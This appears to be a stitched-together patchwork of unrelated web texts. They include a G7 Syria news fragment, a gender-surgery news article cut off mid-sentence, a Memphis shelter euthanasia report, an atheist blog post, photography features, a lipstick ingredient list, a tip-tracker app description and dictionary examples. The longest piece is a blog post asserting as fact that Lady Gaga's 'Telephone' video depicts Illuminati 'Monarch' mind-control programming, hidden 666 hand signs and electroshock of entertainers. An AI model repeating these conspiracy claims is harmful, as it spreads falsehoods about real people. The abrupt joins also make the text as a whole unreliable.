“Frankly, it is completely shortsighted and wrong to claim this G7 failed to deliver. It unanimously agreed Assad has no future in Syria, that Russia must work to stabilise Syria and work with others, and everyone round the table agreed that sanctions should and would be imposed on those involved in the chemical weapons attack once an investigation happens.”
However, Sir Christopher Meyer, Britain’s former ambassador to Washington, suggested Johnson should have been more cautious about making his aims for the summit so clear in advance, tweeting:
Christopher Meyer (@SirSocks) Sanctions: how on earth did Boris get himself out on this limb? He must have known about German etc reservations beforehand.
Downing Street had issued a statement late on Monday saying the prime minister had discussed the issue of Syria with Donald Trump, and the pair believed there was a “window of opportunity” to persuade Moscow to abandon Assad.
Johnson used the summit to table a plan, agreed beforehand in bilateral talks with the US secretary of state, Rex Tillerson, that targeted sanctions could be applied to senior military figures deemed responsible for last week’s devastating chemical attack.
But his fellow foreign ministers were unwilling to commit to fresh penalties before evidence was gathered and a legal case for action could be assembled.Lady Gaga’s 9-minute video featuring Beyoncé is steeped in weirdness and shock value. Behind the strange aesthetic, however, lies a deeper meaning, another level of interpretation. The video refers to mind control and, more specifically, Monarch Programming, a covert technique profusely used in the entertainment industry.
Just when I thought I’d written everything I had to write about Lady Gaga, Telephone comes out. An inevitable deluge of e-mails instantly followed, demanding an article about it. So I watched the video and, gosh darn it, the people who wrote those e-mails were right. There are, yet again, a whole bunch of Illuminati/mind control symbols in Lady Gaga’s latest video. I can’t say I was surprised, however, knowing that Jonas Akerlund co-wrote and directed the video. In the article Lady Gaga, the Illuminati puppet (which I suggest you read before this one), I dissected the Akerlund-directed video Paparazzi and its references to mind-control programming. Telephone acts as a sequel to Paparazzi, where Gaga still plays the role of a mind-controlled drone who kills people. This concept is never openly discussed by the artists when they are asked to explain their videos because it is not meant to be understood by the masses. The hidden meaning of the video actually depicts the elite’s contempt for the general population, hence the scene of ritual murder of average Americans in a diner by mind-controlled slaves. Don’t know what the hell I’m talking about? Keep reading.
The Hidden Meaning of the Song
When I first heard Telephone on the radio, I thought the song was about Lady Gaga receiving phone calls from an annoying dude while she’s out in a club. I could already picture a video of Gaga on a dance floor not answering her cell phone. I’ve imagined this video because I was interpreting the song at its face value and going by its literal meaning like most people do. Akerlund’s video has however infused a second, deeper meaning to the song, giving it an entirely new dimension. In an interview with E! Online, Gaga herself explained this fact:
“There was this really amazing quality in ‘Paparazzi,’ where it kind of had this pure pop music quality but at the same time it was a commentary on fame culture. In its own way, even at certain points working with Jonas Åkerlund, the director of both videos really achieved this high art quality in the way that it was shot. I wanted to do the same thing with this video—take a decidedly pop song, which on the surface has a quite shallow meaning, and turn it into something deeper.”
– Source
What is never stated, however, is that this “deeper meaning” found in Gaga’s video relates to mind control, a covert practice used by the military, the CIA, religious cults and the Illuminati elite. It is used to program human beings to become mental slaves and to execute specific tasks. In Paparazzi, Gaga plays the role of a mind-controlled slave who was “programmed” to poison and kill her boyfriend. Telephone is a continuation of this story, where Gaga goes to jail for her crime.
In the video, the “telephone” is a metaphor for Gaga’s brain and the fact that she is not answering that phone (her brain) means that she has “dissociated” from reality. Dissociation is the ultimate goal of Monarch mind control. It is induced by traumatizing events, such as electroshock therapy or torture, to force the victim to dissociate from reality. This enables the handlers to create in the victim an alter personality that can be programmed to perform various tasks, such as carrying out an assassination.
“Trauma-based mind control programming can be defined as systematic torture that blocks the victim’s capacity for conscious processing (through pain, terror, drugs, illusion, sensory deprivation, sensory over-stimulation, oxygen deprivation, cold, heat, spinning, brain stimulation, and often, near-death), and then employs suggestion and/or classical and operant conditioning (consistent with well-established behavioral modification principles) to implant thoughts, directives, and perceptions in the unconscious mind, often in newly-formed trauma-induced dissociated identities, that force the victim to do, feel, think, or perceive things for the purposes of the programmer. The objective is for the victim to follow directives with no conscious awareness, including execution of acts in clear violation of the victim’s moral principles, spiritual convictions, and volition. Installation of mind control programming relies on the victim’s capacity to dissociate, which permits the creation of new walled-off personalities to “hold” and “hide” programming. Already dissociative children are prime “candidates” for programming”.
– Ellen P. Lacter, Ph.D., The Relationship Between Mind Control Programming and Ritual Abuse
Gaga’s brain as a non-answering telephone is represented in two separate occasions during the video:
So in the context of the video, the telephone is Gaga’s mind and the dance club is representative of her dissociative state, the “magical place” mind-controlled slaves are trained to escape to during traumatic events.
“Hello, hello, baby
You called, I can’t hear a thing.
I have got no service
in the club, you say, say
Wha-Wha-What did you say, huh?
You’re breaking up on me
Sorry, I cannot hear you,
I’m kinda busy. K-kinda busy
K-kinda busy
Sorry, I cannot hear you, I’m kinda busy.”
By “kinda busy”, Gaga means she has dissociated from reality. Real life is calling her brain but she “has no service”, she’s not there. The chorus pretty much epitomizes this concept.
“Stop callin’, stop callin’,
I don’t wanna think anymore!
I left my head and my heart on the dance floor.
Stop callin’, stop callin,
I don’t wanna talk anymore!
I left my head and my heart on the dance floor.”
Gaga is not thinking or talking for herself anymore, her head and her heart have been dissociated from her core personality due to Monarch programming.
Video Analysis
The video is a Quentin Tarentino-esque short film which is heavily inspired by Thelma and Louise and peppered with tons of product placements and transvestites. That surely wasn’t the video I was picturing when I first heard that song. From the comments I’ve read, the video left many fans confused about its meaning. This is quite understandable, knowing that most viewers have no idea what the song is really about. When the hidden “mind control” meaning is brought to light, the symbolism of the video becomes evident and the storyline becomes more coherent. I will now attempt to go through the many symbolic scenes of the video and explain their occult meaning.
The video starts with Gaga entering the “Prison for Bitches”. So, yeah, I know, she addressed that hermaphrodite rumor and many think it was the most hilarious thing ever. I’ve never really cared about those gossipy rumors so I won’t elaborate on them.
In the prison yard, Gaga walks around chained up and wearing sunglasses made of lit cigarettes.
Gaga then sits down and “gets busy” with a weird-looking inmate, but is interrupted by a phone call. She seems to be enjoying a special status in the jail … maybe due to the fact that she is a slave only obeying orders … and that she is needed again.
Gaga is then bailed out by Beyoncé and leaves prison. Inside the car, Gaga and Beyoncé engage into a highly dissociative conversation. It basically sounds like dialogue between two mind-controlled slaves. The phrase “Trust is like a mirror. You can fix it if it’s broke but you can still see the crack in the motherfucker’s reflection” can refer to a cheating boyfriend and can also refer to the permanent damage caused by the fragmenting of one’s personality in mind control.
The dynamic duo then enters an all-American, good ol’-fashioned diner. Beyoncé meets with probably the biggest douche in the universe (played by Tyrese Gibson) and proceeds to poison him. At this point, Gaga comes out of the kitchen with poisoned honey and serves it to the customers.
The mass murder begins … people eat up Gaga’s poisoned honey and die. Does this represent the Illuminati elite poisoning the masses with toxic media?
The entire clientele of the all-American diner gets poisoned and dies. You might have noticed the emphasis on “bees” and “honey” during the entire video. Gaga calls Beyoncé “Honey Bee”. She also serves poisoned honey to the diner’s customers. What does this signify? Beyoncé and Gaga’s poisonous honey is actually their music and videos, which are served to the general public through mass media. You can figure out the rest.
While the customers are agonizing and dying, Beyoncé puts on the Mickey Mouse sunglasses, the same glasses worn by Gaga in Paparazzi while killing her boyfriend.
In both videos, the singers wore the glasses during the killings, hinting at the fact that they are programmed to execute the poisonings. As stated in previous articles, Mickey Mouse ears or designs often occultly refer to mind control, probably because Disney films were known to be used on MK slaves during their programming.
Gaga and Beyoncé then start dancing in “patriotic” outfits surrounded by the lifeless bodies of dead Americans … pretty disturbing. In her interview with E! Online about Telephone, Gaga stated she wanted to take
“the idea that America is full of young people that are inundated with information and technology and turn it into something that was more of a commentary on the kind of country that we are.”
– Source
Is that what she meant?
To sum up the situation in the diner, we have Lady Gaga and Beyoncé dancing around dead people and singing about the fact they are dissociative mind-controlled drones.
“Can call all you want,
but there’s no one home,
and you’re not gonna reach my telephone!”
Gaga and Beyoncé finally flee the crime scene. Gaga is then shown in front of the Pussy Wagon wearing a leopard-print suit, a reference to “sex kitten” programming.
BETA. Referred to as “sexual” programming. This programming eliminates all learned moral convictions and stimulates the primitive sexual instinct, devoid of inhibitions. “Cat” alters may come out at this level.
-Ron Patton, Project Monarch
In the final scene, Gaga and Beyoncé prance around wearing dresses by Emilie Pirlot. Beyoncé’s black dress and the veils hint to the ritualistic nature of the murders.
Illuminati Signs
As stated in previous articles, the hiding of one eye and the “a-ok” sign (which seemingly means 666 in the music industry) are flashed by all Illuminati artists, apparently to show their allegiance. There is a truckload of them in this video.
One Eye Hidden
A-Ok Handsign
Electroshock Therapy
Electroshock therapy is the main tool employed by mind control handlers to induce dissociation and fragmentation in the victims. This horrifying practice has been referred to several times in Gaga’s works. Here are two examples.
Manifesto of Little Monsters
In this interlude video of the Monster Ball Tour, Gaga clearly gets electroshocked:
David Lachapelle Photoshoot
Another instance where Gaga gets electroshock therapy.
In Conclusion
Telephone is yet another Lady Gaga product permeated with references to mind control and Illuminati symbolism. Gaga’s “commentary” on today’s youth is certainly not a positive one. The video basically says: America is ready to eat any poisonous crap the elite serves them, and that is accomplished through controlled puppets. I will now pre-address comments I’m bound to receive:
“How is Lady Gaga mind controlling me? I’m not feeling controlled to do anything”
I am not saying that Gaga is controlling your mind. I’m saying her video is ABOUT mind control. This disturbing theme keeps reoccurring in pop music. What you should ask yourself is this: does mass media shape and mold our society’s values and beliefs? Billions of dollars invested yearly in marketing say yes.
“Your articles are a form of mind control.”
Someone voicing an opinion on a website is not a form of mind control. Quite to the contrary, it is a freedom guaranteed by the first amendment. To compare this article to the ritual abuse mind control victims have to go through is a total aberration. If you were forced to read out loud this article numerous times while being deprived of food and sleep, then maybe it could qualify as mind control.
“She is doing it on purpose to piss you off”
I heard this comment when Bad Romance came out and after her Grammy performance, where her hype man alluded to her “mind-controlling music”. As much as I would like to believe that I’ve got that much influence on today’s biggest star, I highly doubt that Gaga, her staff, her video directors and her record label with its millions of dollars would concentrate all of their creative efforts to piss off one blogger. The truth is: She was doing this before this site was even online and she keeps doing it now. Her works, like the works of many other pop stars, are part of a greater agenda. It used to focus on exposing the youth to materialism and sexual promiscuity, but it has now expanded to occult symbolism, mind control, and transhumanism.
Am I reaching you or is your telephone busy?The first ever data on gender reassignment surgeries in the United States shows demand is skyrocketing.
The American Society of Plastic Surgeons found a nearly 20 percent increase in vaginoplasties, phalloplasties, top surgery and contouring operations in just the first year of reporting.
In 2016, more than 3,200 surgeries were performed to help transgender patients feel more like themselves.
Surgeons in the field claim that figure is a conservative estimate - and would likely three times higher if all hospitals had a uniform way of documenting such surgeries.
And they believe celebrity transitions have been a driving force in this shift.
The first ever data on gender reassignment surgeries in the United States shows demand is growing. Gearah Goldstein is pictured here speaking with her plastic surgeon, Dr. Loren Schechter, about her gender confirmation surgery
Dr. Loren Schechter (pictured) says he's seen a dramatic increase in the number of transgender patients seeking surgery in the past few years. The American Society of Plastic Surgeons reported the number of gender confirmation surgeries for the first time, and found more than 3,200 procedures were performed in 2016
‘It’s only in the last couple of years that we’ve seen this dramatic increase in demand for procedures, it’s certainly a subject that’s more talked about,’ Dr Loren Schechter a board-certified plastic surgeon who’s been practicing gender-reassignment surgery for two decades, told Daily Mail Online.
‘It’s really the reason why the society is recognizing and collecting data.
WHAT IS FEMALE-MALE GENITAL SURGERY? A phalloplasty is the construction of a penis using skin flaps from the thigh, groin or abdomen, and scrotum construction using the labia. Nerves can be connected to a reconstructed urethra, and the clitoris can be repositioned to sit at the base of the penis. Sexual intercourse is possible post-surgery, sometimes using a prosthesis to create an erection, though some patients say that is not necessary.
‘This is the first time that the ASPS is formally collecting the numbers and they’re probably a conservative estimate of procedures. I wouldn’t be surprised if it was double or triple.’
Increasingly, insurance companies are offering coverage for surgery for patients with gender dysphoria - a disconnect between how an individual feels and what their anatomic characteristics are.
Gender confirmation procedures can include everything from facial and body contouring to reassignment surgeries.
As Chicago-based Dr Schechter explains, ‘there is no one-size-fits all treatment’.
Gender transitions usually include more than just surgery.
Plastic surgeons often partner with other experts to provide comprehensive care, such as doctors who specialize in hormone therapy or urology and with mental health professionals who help patients through the emotional aspects of their transition.
Male to female genital surgery is called vaginoplasty; female to male genital surgery is called phalloplasty. There are various techniques and ways to perform each procedure.
Inspired by her own gender transition, Goldstein is now an advocate for transgender youth
She always felt a disconnect between her body and who she knew herself to be. With the help of a team of experts, she was able to make a transition that allows her to live her life as her true self
But before 2014, Dr Schechter says, there were just six board-certified plastic surgeons trained in performing both male to female genital surgery and female to male.
‘Our surgical society is trying to not only meet the patient demand but also the surgeon demand,’ he explains.
‘MY EXPERIENCE OF REASSIGNMENT SURGERY’ Gearah Goldstein worked with Dr. Schechter throughout her transition. Goldstein knew from a very early age that that her gender did not align with her body. Now, she says, she feels that she can live her life as the person she’s always been. ‘For transgender people, like myself, surgical options are a corrective treatment, not cosmetic,’ Gearah said. ‘The types of surgeries someone has is very personal and private, and you wouldn’t even know someone had surgery if you saw them walking down the street. It’s not about how we’re perceived by the public, but how we perceive ourselves.’ Goldstein is now an advocate for transgender youth. She says everyone has a unique story, but that her experiences help her understand what someone with gender dysphoria is feeling and how it can become an unbearable burden. She adds that gender confirmation, whatever that means for the individual, |
(MAS) was mistakenly euthanized before the issue even hit stands.The dog, a five-year-old Rottweiler, was one of 12 pets from MAS to be featured in the magazine's May issue. MAS had agreed not to euthanize the animals that were photographed for that story. But a few days after the dog's photos were taken for the feature, MAS staff overlooked the memo instructing them to hold the dog and he was put to sleep."It was a terrible mistake," said MAS Administrator James Rogers.Beth Spencer, a local animal advocate, contacted Rogers on April 2nd about featuring the cats and dogs in the May issue of, where her friend works as editor-in-chief."I asked if we could keep these animals alive until May 1st because of the publication date," Spencer said. "He offered to get them ready for adoption and have them ready in case someone saw the magazine and wanted to adopt them."MAS typically euthanizes strays after 72 hours. But in this case, Rogers agreed to hold these 12 animals for 21 days."We were glad to oblige, but holding pets for 21 days is not something that we do at MAS," Rogers said. "In the future, this is something that we'll take a close look at to see if it's something we can manage and do correctly. We don't want to make promises we can't keep."On April 21st, Rogers sent Spencer an email informing her that the Rottweiler had been euthanized. He said he was investigating what went wrong. The next day, Rogers sent Spencer another email that said there were "extenuating circumstances identified by our staff concerning this pet that we should have communicated with you," and he offered an apology.In an interview with the, Rogers indicated that the dog was put to sleep because it was underweight, had to be muzzled when handled by the vet clinic, and because it was heartworm positive."Heartworms and being underweight are easily treatable and are not reasons to euthanize. His statement about the dog being underweight is a big stretch," Spencer said.She also said that many dogs have to be muzzled during certain vet treatments and that growling at the vet shouldn't be considered an indicator of dog aggression.Spencer requested the dog's file from the city using the Freedom of Information Act. She shared that file with the. In the file, there is a note filed under "kennel comments" that reads "To be featured in Click Magazine DO NOT EUTH," and just above that note, there's another memo from April 19th that says "Animal time has expired. No hold memos at time of ER [euthanasia room] entry. No rescue response as of 4/19/2015.""Our staff missed the note that was put in there," Rogers said.Spencer pointed out that such mistakes happen all too often at MAS. Back in January, thereported that there had been at least six dogs mistakenly euthanized in the past year. In December, Memphis resident Vickie Carter took a stray pit bull to MAS after rescuing him from an attack by other dogs. She told the intake clerk and Rogers that, if no one claimed the dog before his review date (the day they're either euthanized or placed up for adoption), she would adopt the dog. But on that day, when Carter came to the shelter to pick up the dog, he'd already been euthanized."I've been involved with rescue for about a year now, and this happens about twice a month," Spencer said. "The people who are making these mistakes are not terminated, and that's what needs to happen."Rogers said, if they agree to hold animals while awaiting a publication date in the future, that MAS will take extra steps to prevent the animals from being euthanized. Those steps include checking on the status of these pets daily and informing the customer of any change in status. He also said that he would have MAS staff make recommendations on which pets should be included in such features rather than allowing the outside group to pick out the pets.A few weeks ago, Rachel Held Evans wrote a plea to atheists, asking us not to judge Christians by their more offensive representatives, offering in exchange not to judge atheists by our most extreme spokespersons, either. I’ve already agreed with Hemant Mehta’s reply pointing out the false equivalency of statements made by Pat Robertson and Richard Dawkins. But I’d like to counter with an offer of my own:
I promise to treat your beliefs with the same measure of respect with which you treat my disbelief. That seems fair, wouldn’t you agree? Does that prospect feel threatening? If so, why? As you think about this matter, be on the lookout for something called “privilege blindness,” which means that people of a favored class often are oblivious to the ways in which social and cultural inequities affect those on the losing end of things.
Have you ever read the biblical story of Elijah taunting the prophets of Baal? Christians love this story because Yahweh proves himself in an obvious way in front of a gaggle of disbelievers (of Yahweh, not of Baal). Today we are told not to test God in this way, setting ourselves (and by extension him) up for an embarrassing no-show. But they never criticize Elijah for taunting the beliefs of the prophets of this competing religion. He mocked them with flourish, shouting: “Maybe if you prayed LOUDER! Or perhaps your god’s ASLEEP! Or maybe he’s relieving himself!” Is this any way to talk to people of faith? Was this a respectful interchange? Does it ever bother Christians that he was mocking the other people’s faith? No, it does not. But then when someone else mocks their religion, suddenly they become champions of religious tolerance and respect for other people’s beliefs.
If you speak of my disbelief like it represents a moral flaw, or a “phase” you hope I will grow out of, then I get to speak of your beliefs as a failure of reason, and a phase I hope you grow out of. If you insist that I must refrain from speaking openly about my atheism, I will insist that you refrain from speaking openly of your faith. That seems only fair. If you express or imply that passing my understanding of the world on to my children (or to anyone else’s) is somehow detrimental to their well-being, I will be sure to remind you that you should abstain from doing the same. If you assert that I am incapable of making moral choices without the threat of divine retribution, then it seems only fair I assert that you, too, cannot or will not do the right thing without the threat of divine retribution. If you resort to ad hominem attacks and personal insults when discussing our differences of belief, well…to be honest, I will not do the same to you because a guy’s gotta have his standards, right? I don’t care if others do it…I’m not going there because the use of personal insults implies that you don’t have anything better to offer. If your reasoning could stand on its own, you wouldn’t need to prop it up with something else.
I should add here that I don’t really subscribe to the notion that beliefs deserve respect, because beliefs are merely ideas, not people. People deserve respect; ideas do not. Ideas should be evaluated on their own merit because human progress depends upon challenging the ideas and beliefs to which we hold. That can be done in a respectful manner, for just as surely as you can “hate the sin but love the sinner,” you can also “hate the belief but love the believer.” Having said that, I have observed that people take their religious beliefs very personally, and many seem incapable of discerning the difference between disagreement and disrespect. As much as I wish this were not the case, it’s just the way things are. So again, I’m offering Christians a deal: I will treat your beliefs with the same level of respect with which you treat my disbelief. Now let me give a few examples to illustrate what that means.
I would love to see the general public learn to discuss ideas and beliefs without feeling personally mistreated every time someone expresses an opposite evaluation of those ideas/beliefs. But I also know what people are like, and I know better than to hold my breath on this one. So let’s compromise: With the caveat above, I promise I’ll show you the same respect you show me. Does that sound like a fair deal? Have you considered what that would entail?Like many of us, astrophotographer Christoph Malin is a big fan of astronaut and fellow photographer Don Pettit. We’ve featured Pettit’s photography several times before — we even shared his entire talk from Luminance 2012 here — but in the video above, Malin puts together a little bit of both into a fitting tribute to his favorite “astronaut, poet and astrophotographer.”
In total, Pettit has spent over a year of his life on the ISS, taking incredible pictures and becoming intimately acquainted with all of the challenges that one faces when photographing the Earth from space and not the other way around.
By combining snippets of Pettit’s Luminance lecture with several examples of his work (both original and altered by Malin himself), Malin shares Pettit’s explanation of those challenges, followed immediately by the spectacular results he gets when those challenges are overcome.
You can see more of his work (and maybe be inspired to create your own tribute video) over on Flickr.
(via Universe Today)
Photo credits: Photography by NASASamra Habib is a Toronto-based photographer who set out to tell the stories of a community that she wasn’t seeing represented anywhere else.
Just Me and Allah: A Queer Muslim Project combines beautiful and powerful photography with the personal stories of those in front of the lens and how they’ve experienced life as a queer Muslim. It’s a style reminiscent of another famous photo blog, Humans of New York, but it’s not location-specific, and has seen the photographer travel to cities as diverse as Istanbul and Berlin, as well as her hometown in Canada.
Photo by Samra Habib (Source: the Queer Muslim Project)
For Samra, the inspiration behind the project was personal. “I am a queer Muslim myself and I wanted to document the wide range of experiences amongst queer Muslims that I wasn’t seeing in mainstream media,” Habib told SBS.
“I don’t think that’s exclusive to the queer Muslim community, I think that also applies to people of colour in general. You only have to look at the recent Oscars to really see how detached mainstream media is from reality.”
El-Farouk Khaki. Photo by Samra Habib (Source: the Queer Muslim Project)
So with religions and their doctrine often sitting uneasily with queer and alternative sexualities, how do Habib’s subjects reconcile the differences?
“They’re asking questions, having conversations and interpreting Islam in a way that makes sense in their lives,” Habib says. “They’re also building communities where they feel safe practicing Islam.”
Hengameh, Berlin. Photo by Samra Habib (Source: the Queer Muslim Project)
Samra has exhibited her work in physical spaces – such as at the Brooklyn Community Pride Centre the New York, but for the most part the project lives and thrives on Tumblr. This accessibility is advantageous in connecting a diaspora whose members may otherwise be somewhat isolated or marginalised in their homeland.
This is something Habib has seen first-hand as she’s travelled the globe for her project. “Istanbul was probably the most challenging because many of the subjects I photographed there were refugees who had to flee their home countries because of their gender and sexuality,” Habib says.
“So I had to find creative ways to photograph them while respecting their need for privacy because safety was a concern.”
Dali. Photo by Samra Habib (Source: the Queer Muslim Project)
Speaking about the feedback that her work has received from around the world, Habib says, “It’s been overwhelmingly positive”.
“I get emails from queer kids from Muslim countries, from conservative Muslims and from non-Muslims who appreciate being exposed to a side of Islam they’re not used to seeing.”
Roo, New York. Photo by Samra Habib (Source: the Queer Muslim Project)
Habib says that the experience has left her feeling lucky for living in a country where the LGBTQI community is able to be so much more open and accepted.
“We in North America are very privileged in a lot of ways. There are systems in place that protect us, that’s not the case in other parts of the world where being queer is punishable by death.”
Photo by Samra Habib (Source: the Queer Muslim Project)
As to whether she’s planning on visiting Australia anytime as part of her photographic journey, Habib says: “I hope so! If I get funding, I’d love to.”
You can see the full Just Me and Allah: A Queer Muslim Project here.
Photo by Samra Habib (Source: the Queer Muslim Project)
Leila, Berlin. Photo by Samra Habib (Source: the Queer Muslim Project)M·A·C Lipstick – the iconic product that made M·A·C famous. This creamy rich formula features high colour payoff in a no-shine matte finish.
Ingredients: Octyldodecanol, Ricinus Communis (Castor) Seed Oil, Silica, Tricaprylyl Citrate, Ozokerite, Isononyl Isononanoate, Paraffin, Phenyl Trimethicone, Microcrystalline Wax \Cera Microcristallina\Cire Microcristalline, Ethylhexyl Palmitate, Caprylic/Capric Triglyceride, Copernicia Cerifera (Carnauba) Wax\Cera Carnauba\Cire De Carnauba, Ascorbyl Palmitate, Tocopherol, Vanillin, Acrylates Copolymer, Polyethylene Terephthalate, Stearyl Stearoyl Stearate, [+/- Mica, Titanium Dioxide (Ci 77891), Iron Oxides (Ci 77491, Ci 77492, Ci 77499), Blue 1 Lake (Ci 42090), Carmine (Ci 75470), Red 6 (Ci 15850), Red 6 Lake (Ci 15850), Red 7 Lake (Ci 15850), Red 21 Lake (Ci 45380), Red 28 Lake (Ci 45410), Red 30 Lake (Ci 73360), Red 33 Lake (Ci 17200), Yellow 5 Lake (Ci 19140), Yellow 6 Lake (Ci 15985), Yellow 10 Lake (Ci 47005)]
Please be aware that ingredient lists may change or vary from time to time. Please refer to the ingredient list on the product package you receive for the most up to date list of ingredients.Download TipSee Pro - Mobile Tip Tracker TipSee Pro is an Ad free version and has all the great features of TipSee Free - Mobile Tip Tracker, with the added capabilities of: - Calculates Tips plus Wages
- Tracks two separate jobs simultaneously
- Advance search and stats
- Track tips from Credit Cards, or Tips from other dept.
- Track TipOuts to bussers and other employees
- Track Tips by Individual Client
- New more convenient menus
- Select any day as start of work-week
- Tracking Sales Revenue
- Select the page when TipSee first opens
- Regular Feature updates Advance Search
With Advance search you can see at a glance all your important Stats for the current month, last month, current year, last year, last 7 days, or between any two dates you select. Search results not only shows your tips, but will calculate your max, min or average tips over the period you selected and more. Tip totals and wage totals can be viewed separately, or combined together. Multiple Jobs Tips from 2 jobs can be tracked simultaneously. TipSee Pro has the ability to list past, current and future jobs, along with your wages, all color coded on your calendar, for easy visual display along with your tip totals.
Optional Items To Track
Allows you to enter tips from credit cards, other departments, or other employees. These amounts are tracked separately, but also totaled together. This information is entered on the "Edit" page for any date. When information is entered for these optional items, a green dot is placed on the calendar, reminding you that you can check the Edit page to review the details. This feature can be activated on the Options/Optional_Items_To_Track page.
Tip Tracking by Client
With this feature you are able to select from the Options section, whether you want to track your tips as normal, or to record each tip you get associated with a client. You will be able to export this information at anytime. Although you must select one mode or the other, you can easily switch between modes.
Tips plus Wages
The Calendar page displays tips and tips plus wages. Go to Options and select "Wage and Job Setup". Select the “+” in the upper right corner of the page to add a new Job. You can enter the Hourly wage and a default for the number of hours worked. If zero is entered for Hourly wages, only tips will be displayed on the Calendar page.
Widget
We have created a Widget for TipSee. The widget will display your tips for the current week, month and year. You can tap on the TipSee icon to open and enter new tips. Background Images
If you have two tip producing jobs, you can upload a personal image for each job.
If you like TipSee PRO, than the best way to thank us, is to recommend it to a friend!
You can try TipSee for free at:
https://play.google.com/store/apps/details?id=com.wcd.tipsee
TipSee was designed for quick and simple record keeping of your daily tips, but has many professional features like auto backup, and exporting to excel or other financial packages. Forgot to enter a days tip? Not a problem, just select the day on the calendar and enter the tip amount.
If you need details, just select the summary view to look at daily, weekly, monthly or yearly totals. TipSee even shows you which days of the week have been your best days for tips. In TipSee Pro summaries can be viewed for each job separately or combined. We highly recommend if you purchase the pro version, do it at a time when you can try it out immediately, since google has the following policy: “After purchasing an app or game on Google Play, you can return it within 15 minutes for a full refund.” Tip Tracking Features:
Setting up Wages 1. From the pull down menu select “Wage and Job Setup”. 2. Select the “+” in the upper right corner of the page to add a new Job. 3. Enter the following information: - Name of the Job - The date you started this job by tapping “Change”, or leaving the current date. - Enter the “Hourly Wage” amount. - Enter the “Default Hours” (eg if you usually work an 8 hour shift, enter 8. This will be entered for you automatically when go to enter your tips, but on the Edit page you will be able to change the Hours worked for any specific date.) - Select a color you would like displayed on the Calendar page for Job1. (You are allowed to track two jobs at the same time. Each Job can be displayed using a different color on the Calendar page. - Save Changes 4. Select the Tips+Wages radial button to display the total of your Tips+Wages on the Calendar page. 5. Select “save changes” button. Use the pull down menu to go to Calendar page, etc.
Notes: The hourly wage amount is set for each job, but applies to all calculations for that Job. If you get a raise for example you can end the Job and create a new Job1 (give it a new name or add a number at the end of the name) with the new wage. Going forward TipSee will calculate using the new job and wage amount.
The hours you work can be entered every time you enter your tips. The default is only used to avoid entering the same amount each day when adding your tips (assuming you work the same amount of hours each time.) Also, using the pull down menu select “Advanced Search” under OPTIONS to view: Average Tips/Hr and Ave(Wages+Tips)/hr for different time periods, eg This Year, Last Year, etc.
Tracking Tips from Credit Cards or Other Departments From the pull down menu, select “Optional Items To Track”. Select one of the boxes under “Optional Items To Track” on this page, and enter the text that describes the income you want to track.
This field will be added to the Edit page so you can enter this additional information. Instead of entering your tips from the Home page, use Edit from the pull down menu. It will take you to the current date for adding tips on the Edit page, or go to the Calendar View page and select the date you want to enter your tips.
Also, you might consider going to Setup under Settings from the pull down menu. Then select “Start Page”. You can choose from one of three other pages that will load when you first open the App. eg Edit page, Calendar page, or Tip Summary.
Although the sum of all optional items is added to the tips on the Calendar page, if you go to “Advance Search” under Options on the pull down menu, these amounts will be displayed separately.
Changing the Month on Calendar page There are 3 ways to change the Month displayed on the Calendar page: 1 Tapping on the grey area at the beginning or at the end of the month. 2. Swipe right or left by starting at the Edge of the page and swiping to the right or left. 3 Use the “Change Date” link button at the top right. A popup will allow you to change the Month or Year.
Start Page
Select "Start Page" under Settings/Setup. You can then Select one of four pages: Add Today's Tip
Tip Summary
Calendar
Edit The next time you open TipSee, it will open to the "Start Page" you select.
Background Image The background image can be changed for the Add Tips page and the Edit page. Under Settings select Change_Image. The popup will allow you to choose an image for either Job1 or Job2 if you are entering tips for two Jobs. The Change Image button will open your galary. Choose an image to use as your TipSee background image. When your done selecting an image, select the Add Tip button to view your image on the Add Tips page.
Sales Revenue Tracking Under the pull down menu, select "Optional Items To Track". Check the box "Total Daily Sales". When this is selected a new field on the edit page will allow you to enter your sales when you add your tips for the day. Although your sales are not displayed on the calendar page, a green dot will be displayed to indicate optional information has been entered for that day and can be viewed on the edit page. The total for all Sales revenue is available on the Advance Search page. In addition, if you entered a percentage in the setup, that percentage will be used to calculate your estimated taxes, as a percentage of your total sales. We are not licensed in any way to provide tax advice, and do not represent any calculations as being what you should submit to the IRS. Consult the IRS or tax consultant for specific advice.
Tip Tracking By Client
With this feature you are able to select from the Options section, whether you want to track your tips as normal, or to associate each tip you get with a client.
From the pull down menu select "Tip Tracking By Client" to turn this feature ON. When this feature is turn on, you can enter the clients name associated with your tip. Selecting a cell on the Calendar page will transfer you to a new page that will list all your tips and assoicated clients. From this page you can choose to add new tips, delete or edit existing tips.
When this feature is turned on, the Hours worked on the Edit page represents the Hours associated with each client, not the total hours for the day. Although you must select tracking tips by client or not, you can easily switch back and forth. Widget
To install the widget follow the procedure for your OS, eg select the ICON for choosing Apps to install and select the Widgets tab. Look for the TipSee widget (4x1) and drag it to the window of your choice. The widget displays tip totals for the week, month, and year. Double tapping on the Widget will open TipSee. If you have been using the Tipsee Free widget, you must re-install the Tipsee Widget for Tipsee Pro.
Multiple Jobs
Every page is designed to display Job1, Job2, or the combination of Job1 plus Job2 to see the total of both Jobs.
So for example, after you have set the second job under OPTIONS/Wage and Job Setup, if you are on the Calendar page, you can select the Job icon at the top right and instead of displaying Job1 calendar, it will display the Job2 calendar. If you select it again, it will display the totals of Job1 plus Job2. If you select it one more time, it will sequence back to Job1. This is true for the Summary page, Add Tip page, Edit page and Summary View page.
Backups
TipSee saves your information automatically every time you open the app and keeps multiple copies. Also, it saves manually, where you can email the saved excel file to yourself.. We highly recommend you email yourself once a week in case your phone is lost, stolen, or fails. Backup files can be used to easily import into other devices or when you upgrading to another App version. To learn more see TipSee Free.
Tipsee | Apple Os App | Android App - Free | Android App - Pro | SupportTenders are invited for Supply of computer with accessories office furniture, Laboratory, Erumpent etc.
UREDINIA mainly hypophyllous with spots surrounded by light green rings, mostly in groups, confluent, rounded, dark brown, erumpent.
embedded in the host tissue, with a long, cylindrical, slender neck; neck erumpent from the substratum surface, 1.
In October, 1995, in North America, white erumpent sori were detected on the undersurfaces of leaves of a bed of Gerbera jamesonii that diagnose as white rust [22].
8 mm wide, erumpent, powdery, without peridium, orange-yellowish fading to pale yellow; urediniospores 25-32 x 16-24 [micro]m, broadly ellipsoid to subglobose or angular, catenulate, coarsely verrucose, wall 1.
